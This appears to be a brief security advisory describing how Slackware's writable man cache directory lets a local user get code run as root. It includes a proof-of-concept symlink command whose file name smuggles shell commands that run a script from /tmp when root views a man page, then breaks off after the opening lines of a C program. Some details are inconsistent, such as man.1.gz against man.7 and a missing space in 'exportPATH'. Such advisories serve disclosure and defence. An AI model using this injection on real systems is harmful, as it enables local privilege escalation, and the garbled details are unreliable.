Slackware Linux contains a configuration error that enables local users to create files in the directory used by the system manual pager ('man') for cache files.
|
|
|
|
Due to the behaviour of the 'man' program, it may be possible for an attacker to create a malicious cache file causing the execution of arbitrary code when another user views a manual page corresponding to that cache file.
|
|
|
|
ln -s "/usr/man/man7/man.7.gz;cd;cd ..;cd ..;cd ..;cd ..;cd tmp;export PATH=.;script;man.7" /var/man/cat7/man.7.gz
|
|
|
|
When `/usr/bin/man man` is executed by root, it will create
|
|
/var/man/cat7/man.1.gz. The symlink forces it to create a file in /usr/man/man7 named:
|
|
"/usr/man/man7/man.7.gz;cd;cd ..;cd ..;cd ..;cd ..;cd tmp;exportPATH=.;script;man.7.gz."
|
|
|
|
/usr/bin/man will then execute /tmp/script which contains:
|
|
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
#include <sys/types.h>
|
|
#include <sys/stat.h>
|
|
#include <sys/wait.h>
|
|
#include <errno.h>
